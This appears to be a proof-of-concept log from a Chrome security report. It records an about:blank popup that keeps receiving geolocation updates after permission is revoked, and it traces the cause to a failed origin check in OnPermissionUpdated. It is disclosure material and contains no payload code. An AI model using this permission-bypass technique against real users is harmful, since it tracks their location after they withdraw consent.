[*] Serving POC on http://127.0.0.1:8971/poc.html
[*] Launching Chrome (stderr -> /poc-artifacts/chrome_stderr.log)
[*] Granting geolocation permission for http://127.0.0.1:8971
[*] Creating target http://127.0.0.1:8971/poc.html
[*] Waiting for about:blank popup target
[page] [main] watchPosition started
[page] [main] opening about:blank popup
[*] Popup target: 90B22A83B6AFFCB9E6EDBCEAC20BC650
[page] [popup] document.URL=about:blank security-origin=http://127.0.0.1:8971
[page] [popup] watchPosition started
[*] Setting geolocation override -> (11.11, 22.22) on main+popup
[page] [popup] POSITION #1 lat=11.11 lon=22.22
[+] Before revocation: main got pos A = False / popup got pos A = True
[*] REVOKING geolocation permission for http://127.0.0.1:8971
[*] Setting geolocation override -> (33.33, 44.44) on main+popup AFTER revocation
[page] [popup] ERROR code=2 msg=
[page] [popup] POSITION #2 lat=33.33 lon=44.44
========================================================================
RESULT:
[CONTROL] main page (URL=/poc.html): got pos B after revoke = False (correct = True )
[BUG] popup page (URL=about:blank): got pos B after revoke = True
*** BUG CONFIRMED ***
The about:blank popup continued receiving geolocation
updates after permission was revoked, while the main page
(with a real committed URL) was correctly cut off.
Root cause: GeolocationContext::OnPermissionUpdated does
Origin(http://127.0.0.1:8971).IsSameOriginWith(GURL('')) == false
so the popup's GeolocationImpl is never erased.
========================================================================
--- [POC] instrumentation lines from chrome_stderr.log ---
[674:674:0406/052138.803485:ERROR:content/browser/geolocation/geolocation_service_impl.cc:185] [POC] CreateGeolocation: requesting_origin_=http://127.0.0.1:8971 requesting_url=http://127.0.0.1:8971/poc.html (url same-origin with origin? 1)
[674:674:0406/052138.848360:ERROR:content/browser/geolocation/geolocation_service_impl.cc:185] [POC] CreateGeolocation: requesting_origin_=http://127.0.0.1:8971 requesting_url=about:blank (url same-origin with origin? 0)
[674:674:0406/052141.054333:ERROR:content/browser/geolocation/geolocation_service_impl.cc:219] [POC] HandlePermissionResultChange fired: status=1 requesting_origin_=http://127.0.0.1:8971
[674:674:0406/052141.055378:ERROR:content/browser/geolocation/geolocation_service_impl.cc:219] [POC] HandlePermissionResultChange fired: status=1 requesting_origin_=http://127.0.0.1:8971
[674:674:0406/052141.058008:ERROR:services/device/geolocation/geolocation_context.cc:48] [POC] OnPermissionUpdated: origin=http://127.0.0.1:8971 level=0 impls_before=0
[674:674:0406/052141.058285:ERROR:services/device/geolocation/geolocation_context.cc:66] [POC] OnPermissionUpdated: impls_after=0
[674:674:0406/052141.058702:ERROR:services/device/geolocation/geolocation_context.cc:48] [POC] OnPermissionUpdated: origin=http://127.0.0.1:8971 level=0 impls_before=1
[674:674:0406/052141.058970:ERROR:services/device/geolocation/geolocation_context.cc:53] [POC] impl url='about:blank' IsSameOriginWith=0 -> SKIPPED (orphaned)
[674:674:0406/052141.059218:ERROR:services/device/geolocation/geolocation_context.cc:66] [POC] OnPermissionUpdated: impls_after=1 *** BUG: revocation did NOT erase impl ***
----------------------------------------------------------